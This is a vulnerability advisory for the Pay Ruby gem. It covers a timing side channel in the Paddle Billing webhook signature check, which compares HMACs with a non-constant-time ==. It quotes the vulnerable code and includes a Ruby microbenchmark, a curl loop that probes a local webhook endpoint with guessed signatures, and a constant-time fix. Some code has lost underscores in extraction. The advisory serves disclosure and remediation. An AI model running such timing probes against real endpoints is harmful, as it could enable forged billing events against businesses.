PT-2026-57509 · Rubygems · Pay
Published
2026-07-01
·
Updated
2026-07-01
CVSS v3.1
7.4
High
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
Summary
Pay::Webhooks::PaddleBillingController#valid signature? (app/controllers/pay/webhooks/paddle billing controller.rb) verifies the Paddle Billing webhook signature by computing OpenSSL::HMAC.hexdigest(...) and comparing it to the attacker-supplied header value using Ruby's String#==. Ruby's == is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (OpenSSL.fixed length secure compare / ActiveSupport::SecurityUtils.secure compare).Impact
- CWE-208 — Observable Timing Discrepancy on the webhook signature verifier.
- An attacker who can deliver requests to the
/pay/webhooks/paddle billingmount point can probe the verifier with guessedPaddle-Signatureheader values. BecauseString#==short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest. - A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g.
subscription.created/transaction.completed) against the host application. Pay's webhook processor enqueues aPay::Webhooks::ProcessJobfor any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications. - The endpoint is internet-reachable by definition (Paddle must POST events to it).
Affected versions
pay (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).Vulnerable code (file:line)
app/controllers/pay/webhooks/paddle billing controller.rb:ruby
24: def valid signature?(paddle signature)
25: return false if paddle signature.blank?
26:
27: ts part, h1 part = paddle signature.split(";")
28: , ts = ts part.split("=")
29: , h1 = h1 part.split("=")
30:
31: signed payload = "#{ts}:#{request.raw post}"
32:
33: key = Pay::PaddleBilling.signing secret
34: data = signed payload
35: digest = OpenSSL::Digest.new("sha256")
36:
37: hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
38: hmac == h1 # <-- non-constant-time '=='
39: endhmac is the 64-character hex-encoded SHA-256 HMAC of "<ts>:<raw post>" under the application's configured Paddle Billing signing secret. The comparison with h1 (the attacker-supplied h1= token from the Paddle-Signature header) uses Ruby's native String#==, which is implemented in MRI as rb str equal and returns immediately on the first byte mismatch.How an attacker reaches this code
- Any Pay-using Rails application mounting
Pay::EngineexposesPOST /pay/webhooks/paddle billingto the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default inconfig/routes.rbwhenpaddle billingis enabled. - The controller's
before action :verify signatureinvokesvalid signature?on every inbound request. - An attacker repeatedly POSTs forged webhook payloads with
Paddle-Signature: ts=<now>;h1=<guess>headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of<guess>matches the realhmac. - A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.
Proof of concept (microbenchmark)
Local Ruby microbenchmark isolating the verifier comparison path:
ruby
require 'openssl'
require 'benchmark'
require 'securerandom'
key = SecureRandom.hex(32)
payload = '1730000000:{"event type":"transaction.completed"}'
real hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)
puts "real hmac=#{real hmac}"
def verify(real, guess)
real == guess # mirrors paddle billing controller.rb:38
end
guesses = {
'all-wrong' => ('0' * real hmac.length),
'match-1byte' => real hmac[0..0] + '0' * (real hmac.length - 1),
'match-32byte' => real hmac[0..31] + '0' * (real hmac.length - 32),
'match-63byte' => real hmac[0..62] + '0',
'exact-match' => real hmac.dup,
}
iters = 10 000 000
3.times { guesses.each value { |g| 1 000 000.times { real hmac == g } } } # warmup
guesses.each do |label, g|
t = Benchmark.realtime { iters.times { real hmac == g } }
puts "#{label.ljust(15)} avg ns=#{(t * 1e9 / iters).round}"
endThis isolates the same
String#== path used by valid signature?. The static defect is verifiable by bundle show pay and reading line 38 of the controller.End-to-end reproduction against gem install pay --version 11.6.1
Minimal Rails 8 app mounting
Pay::Engine with paddle billing enabled:bash
gem install rails -v 8.0.2
rails new payapp --skip-test --skip-bundle
cd payapp
echo "gem 'pay', '11.6.1'" >> Gemfile
echo "gem 'paddle', '~> 2.0'" >> Gemfile
bundle install
bin/rails g pay:install
# config/initializers/pay.rb adds Pay.setup, paddle billing config
# config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator
bin/rails server &
# attacker probes the webhook endpoint
WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle billing"
BODY='{"event type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Try guesses with different prefix-match counts; response-time delta is the oracle
for guess in 0000000000000000000000000000000000000000000000000000000000000000
a000000000000000000000000000000000000000000000000000000000000000 ; do
for in 1 2 3; do
curl -s -w '%{time total}
' -o /dev/null
-X POST -H "Paddle-Signature: ts=$TS;h1=$guess"
-H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK"
done
doneThe static defect is verifiable by:
$ bundle show pay
.../gems/pay-11.6.1
$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle billing controller.rb
hmac == h1After the fix is applied, the verifier uses
ActiveSupport::SecurityUtils.secure compare, which compares all bytes regardless of mismatch position, and the timing oracle closes.Suggested fix
Replace
== with ActiveSupport::SecurityUtils.secure compare (Pay is a Rails engine, so ActiveSupport is always available).diff
def valid signature?(paddle signature)
return false if paddle signature.blank?
ts part, h1 part = paddle signature.split(";")
, ts = ts part.split("=")
, h1 = h1 part.split("=")
signed payload = "#{ts}:#{request.raw post}"
key = Pay::PaddleBilling.signing secret
data = signed payload
digest = OpenSSL::Digest.new("sha256")
hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
- hmac == h1
+ return false if h1.nil? || hmac.bytesize != h1.bytesize
+ ActiveSupport::SecurityUtils.secure compare(hmac, h1)
endThe bytesize-equality guard ensures
secure compare does not return early on a length mismatch (it falls back to == if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.Credit
Reported by tonghuaroot (https://github.com/tonghuaroot).
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Pay